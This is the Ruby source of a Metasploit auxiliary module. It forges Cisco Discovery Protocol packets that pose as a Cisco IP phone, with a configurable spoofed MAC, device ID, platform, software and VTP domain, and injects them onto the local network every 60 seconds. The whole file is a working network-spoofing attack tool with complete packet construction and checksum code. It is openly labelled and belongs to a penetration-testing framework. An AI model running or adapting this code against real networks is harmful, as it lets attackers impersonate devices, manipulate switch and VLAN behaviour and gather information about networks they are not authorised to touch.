metasploit-framework/modules/auxiliary/spoof/cisco/cdp.rb

151 lines
4.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Capture
def initialize
super(
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
'Description' => %q{
This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses
to the CDP packets broadcast from this module will need to be analyzed with an
external packet analysis tool, such as tcpdump or Wireshark in order to learn more
about the Cisco switch and router environment.
},
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://en.wikipedia.org/wiki/CDP_Spoofing' ]
],
'Actions' => [
['Spoof', { 'Description' => 'Sends CDP packets' }]
],
'DefaultAction' => 'Spoof'
)
register_options(
[
OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),
OptString.new('VTPDOMAIN', [false, "VTP Domain"]),
OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),
OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),
# XXX: this is not currently implemented
# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),
OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
], self.class)
deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')
end
def setup
check_pcaprub_loaded
unless smac
fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
end
open_pcap
close_pcap
end
def interface
@interface ||= datastore['INTERFACE'] || Pcap.lookupdev
end
def smac
@smac ||= datastore['SMAC'] || get_mac(interface)
end
def run
begin
open_pcap
@run = true
cdp_packet = build_cdp
print_status("Sending CDP messages on #{interface}")
while @run
capture.inject(cdp_packet)
Rex.sleep(60)
end
ensure
close_pcap
end
end
def build_cdp
cdp = ''
# CDP version
cdp << "\x02"
# TTL (180s)
cdp << "\xB4"
# checksum, empty for now
cdp << "\x00\x00"
# device ID
cdp << tlv(1, datastore['DEVICE_ID'])
# port ID
cdp << tlv(3, datastore['PORT'])
# TODO: implement this correctly
# capabilities = datastore['CAPABILITIES'] || "Host"
# CAPABILITIES
# define CDP_CAP_LEVEL1 0x40
# define CDP_CAP_FORWARD_IGMP 0x20
# define CDP_CAP_NETWORK_LAYER 0x10
# define CDP_CAP_LEVEL2_SWITCH 0x08
# define CDP_CAP_LEVEL2_SRB 0x04
# define CDP_CAP_LEVEL2_TRBR 0x02
# define CDP_CAP_LEVEL3_ROUTER 0x01
cdp << tlv(4, "\x00\x00\x00\x41")
# software version
cdp << tlv(5, datastore['SOFTWARE'])
# platform
cdp << tlv(6, datastore['PLATFORM'])
# VTP management domain
cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
# random 1000-7000 power consumption in mW
cdp << tlv(0x10, [1000 + rand(6000)].pack('n'))
# duplex
cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
# VLAn query. TODO: figure out this field, use tlv, make configurable
cdp << "\x00\x0F\x00\b \x02\x00\x01"
# compute and replace the checksum
cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n')
# Build and return the final packet, which is 802.3 + LLC + CDP.
# 802.3
PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") +
PacketFu::EthHeader.mac2str(smac) +
[cdp.length + 8].pack('n') +
# LLC
"\xAA\xAA\x03\x00\x00\x0c\x20\x00" +
# CDP
cdp
end
def tlv(t, v)
[ t, v.length + 4 ].pack("nn") + v
end
def compute_cdp_checksum(cdp)
num_shorts = cdp.length / 2
checksum = 0
remaining = cdp.length
cdp.unpack("S#{num_shorts}").each do |short|
checksum += short
remaining -= 2
end
checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1
checksum = (checksum >> 16) + (checksum & 0xffff)
checksum = ~((checksum >> 16) + checksum) & 0xffff
([checksum].pack("S*")).unpack("n*")[0]
end
end